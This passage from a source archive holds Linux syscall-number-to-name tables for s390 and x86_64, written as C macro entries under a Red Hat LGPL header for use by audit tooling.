"s390_pci_mmio_read") _S(354, "execveat") _S(355, "userfaultfd") _S(356, "membarrier") _S(357, "recvmmsg") _S(358, "sendmmsg") _S(359, "socket") _S(360, "socketpair") _S(361, "bind") _S(362, "connect") _S(363, "listen") _S(364, "accept4") _S(365, "getsockopt") _S(366, "setsockopt") _S(367, "getsockname") _S(368, "getpeername") _S(369, "sendto") _S(370, "sendmsg") _S(371, "recvfrom") _S(372, "recvmsg") _S(373, "shutdown") _S(374, "mlock2") _S(375, "copy_file_range") _S(376, "preadv2") _S(377, "pwritev2") _S(379, "statx") _S(380, "s390_sthyi") _S(381, "kexec_file_load") _S(382, "io_pgetevents") _S(383, "rseq") _S(384, "pkey_mprotect") _S(385, "pkey_alloc") _S(386, "pkey_free") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") laurel-0.5.6/syscall-tables/x86_64_table.h000064400000000000000000000203771046102023000163310ustar 00000000000000/* x86_64_table.h -- * Copyright 2005-21 Red Hat Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * Steve Grubb */ _S(0, "read") _S(1, "write") _S(2, "open") _S(3, "close") _S(4, "stat") _S(5, "fstat") _S(6, "lstat") _S(7, "poll") _S(8, "lseek") _S(9, "mmap") _S(10, "mprotect") _S(11, "munmap") _S(12, "brk") _S(13, "rt_sigaction") _S(14, "rt_sigprocmask") _S(15, "rt_sigreturn") _S(16, "ioctl") _S(17, "pread") _S(18, "pwrite") _S(19, "readv") _S(20, "writev") _S(21, "access") _S(22, "pipe") _S(23, "select") _S(24, "sched_yield") _S(25, "mremap") _S(26, "msync") _S(27, "mincore") _S(28, "madvise") _S(29, "shmget") _S(30, "shmat") _S(31, "shmctl") _S(32, "dup") _S(33, "dup2") _S(34, "pause") _S(35, "nanosleep") _S(36, "getitimer") _S(37, "alarm") _S(38, "setitimer") _S(39, "getpid") _S(40, "sendfile") _S(41, "socket") _S(42, "connect") _S(43, "accept") _S(44, "sendto") _S(45, "recvfrom") _S(46, "sendmsg") _S(47, "recvmsg") _S(48, "shutdown") _S(49, "bind") _S(50, "listen") _S(51, "getsockname") _S(52, "getpeername") _S(53, "socketpair") _S(54, "setsockopt") _S(55, "getsockopt") _S(56, "clone") _S(57, "fork") _S(58, "vfork") _S(59, "execve") _S(60, "exit") _S(61, "wait4") _S(62, "kill") _S(63, "uname") _S(64, "semget") _S(65, "semop") _S(66, "semctl") _S(67, "shmdt") _S(68, "msgget") _S(69, "msgsnd") _S(70, "msgrcv") _S(71, "msgctl") _S(72, "fcntl") _S(73, "flock") _S(74, "fsync") _S(75, "fdatasync") _S(76, "truncate") _S(77, "ftruncate") _S(78, "getdents") _S(79, "getcwd") _S(80, "chdir") _S(81, "fchdir") _S(82, "rename") _S(83, "mkdir") _S(84, "rmdir") _S(85, "creat") _S(86, "link") _S(87, "unlink") _S(88, "symlink") _S(89, "readlink") _S(90, "chmod") _S(91, "fchmod") _S(92, "chown") _S(93, "fchown") _S(94, "lchown") _S(95, "umask") _S(96, "gettimeofday") _S(97, "getrlimit") _S(98, "getrusage") _S(99, "sysinfo") _S(100, "times") _S(101, "ptrace") _S(102, "getuid") _S(103, "syslog") _S(104, "getgid") _S(105, "setuid") _S(106, "setgid") _S(107, "geteuid") _S(108, "getegid") _S(109, "setpgid") _S(110, "getppid") _S(111, "getpgrp") _S(112, "setsid") _S(113, "setreuid") _S(114, "setregid") _S(115, "getgroups") _S(116, "setgroups") _S(117, "setresuid") _S(118, "getresuid") _S(119, "setresgid") _S(120, "getresgid") _S(121, "getpgid") _S(122, "setfsuid") _S(123, "setfsgid") _S(124, "getsid") _S(125, "capget") _S(126, "capset") _S(127, "rt_sigpending") _S(128, "rt_sigtimedwait") _S(129, "rt_sigqueueinfo") _S(130, "rt_sigsuspend") _S(131, "sigaltstack") _S(132, "utime") _S(133, "mknod") _S(134, "uselib") _S(135, "personality") _S(136, "ustat") _S(137, "statfs") _S(138, "fstatfs") _S(139, "sysfs") _S(140, "getpriority") _S(141, "setpriority") _S(142, "sched_setparam") _S(143, "sched_getparam") _S(144, "sched_setscheduler") _S(145, "sched_getscheduler") _S(146, "sched_get_priority_max") _S(147, "sched_get_priority_min") _S(148, "sched_rr_get_interval") _S(149, "mlock") _S(150, "munlock") _S(151, "mlockall") _S(152, "munlockall") _S(153, "vhangup") _S(154, "modify_ldt") _S(155, "pivot_root") _S(156, "_sysctl") _S(157, "prctl") _S(158, "arch_prctl") _S(159, "adjtimex") _S(160, "setrlimit") _S(161, "chroot") _S(162, "sync") _S(163, "acct") _S(164, "settimeofday") _S(165, "mount") _S(166, "umount2") _S(167, "swapon") _S(168, "swapoff") _S(169, "reboot") _S(170, "sethostname") _S(171, "setdomainname") _S(172, "iopl") _S(173, "ioperm") _S(174, "create_module") _S(175, "init_module") _S(176, "delete_module") _S(177, "get_kernel_syms") _S(178, "query_module") _S(179, "quotactl") _S(180, "nfsservctl") _S(181, "getpmsg") _S(182, "putpmsg") _S(183, "afs_syscall") _S(184, "tuxcall") _S(185, "security") _S(186, "gettid") _S(187, "readahead") _S(188, "setxattr") _S(189, "lsetxattr") _S(190, "fsetxattr") _S(191, "getxattr") _S(192, "lgetxattr") _S(193, "fgetxattr") _S(194, "listxattr") _S(195, "llistxattr") _S(196, "flistxattr") _S(197, "removexattr") _S(198, "lremovexattr") _S(199, "fremovexattr") _S(200, "tkill") _S(201, "time") _S(202, "futex") _S(203, "sched_setaffinity") _S(204, "sched_getaffinity") _S(205, "set_thread_area") _S(206, "io_setup") _S(207, "io_destroy") _S(208, "io_getevents") _S(209, "io_submit") _S(210, "io_cancel") _S(211, "get_thread_area") _S(212, "lookup_dcookie") _S(213, "epoll_create") _S(214, "epoll_ctl_old") _S(215, "epoll_wait_old") _S(216, "remap_file_pages") _S(217, "getdents64") _S(218, "set_tid_address") _S(219, "restart_syscall") _S(220, "semtimedop") _S(221, "fadvise64") _S(222, "timer_create") _S(223, "timer_settime") _S(224, "timer_gettime") _S(225, "timer_getoverrun") _S(226, "timer_delete") _S(227, "clock_settime") _S(228, "clock_gettime") _S(229, "clock_getres") _S(230, "clock_nanosleep") _S(231, "exit_group") _S(232, "epoll_wait") _S(233, "epoll_ctl") _S(234, "tgkill") _S(235, "utimes") _S(236, "vserver") _S(237, "mbind") _S(238, "set_mempolicy") _S(239, "get_mempolicy") _S(240, "mq_open") _S(241, "mq_unlink") _S(242, "mq_timedsend") _S(243, "mq_timedreceive") _S(244, "mq_notify") _S(245, "mq_getsetattr") _S(246, "kexec_load") _S(247, "waitid") _S(248, "add_key") _S(249, "request_key") _S(250, "keyctl") _S(251, "ioprio_set") _S(252, "ioprio_get") _S(253, "inotify_init") _S(254, "inotify_add_watch") _S(255, "inotify_rm_watch") _S(256, "migrate_pages") _S(257, "openat") _S(258, "mkdirat") _S(259, "mknodat") _S(260, "fchownat") _S(261, "futimesat") _S(262, "newfstatat") _S(263, "unlinkat") _S(264, "renameat") _S(265, "linkat") _S(266, "symlinkat") _S(267, "readlinkat") _S(268, "fchmodat") _S(269, "faccessat") _S(270, "pselect6") _S(271, "ppoll") _S(272, "unshare") _S(273, "set_robust_list") _S(274, "get_robust_list") _S(275, "splice") _S(276, "tee") _S(277, "sync_file_range") _S(278, "vmsplice") _S(279, "move_pages") _S(280, "utimensat") _S(281, "epoll_pwait") _S(282, "signalfd") _S(283, "timerfd_create") _S(284, "eventfd") _S(285, "fallocate") _S(286, "timerfd_settime") _S(287, "timerfd_gettime") _S(288, "accept4") _S(289, "signalfd4") _S(290, "eventfd2") _S(291, "epoll_create1") _S(292, "dup3") _S(293, "pipe2") _S(294, "inotify_init1") _S(295, "preadv") _S(296, "pwritev") _S(297, "rt_tgsigqueueinfo") _S(298, "perf_event_open") _S(299, "recvmmsg") _S(300, "fanotify_init") _S(301, "fanotify_mark") _S(302, "prlimit64") _S(303, "name_to_handle_at") _S(304, "open_by_handle_at") _S(305, "clock_adjtime") _S(306, "syncfs") _S(307, "sendmmsg") _S(308, "setns") _S(309, "getcpu") _S(310, "process_vm_readv") _S(311, "process_vm_writev") _S(312, "kcmp") _S(313, "finit_module") _S(314, "sched_setattr") _S(315, "sched_getattr") _S(316, "renameat2") _S(317, "seccomp") _S(318, "getrandom") _S(319, "memfd_create") _S(320, "kexec_file_load") _S(321, "bpf") _S(322, "execveat") _S(323, "userfaultfd") _S(324, "membarrier") _S(325, "mlock2") _S(326, "copy_file_range") _S(327, "preadv2") _S(328, "pwritev2") _S(329, "pkey_mprotect") _S(330, "pkey_alloc") _S(331, "pkey_free") _S(332, "statx") _S(333, "io_pgetevents") _S(334, "rseq") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(447, "memfd_secret") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") _S(453, "map_shadow_stack")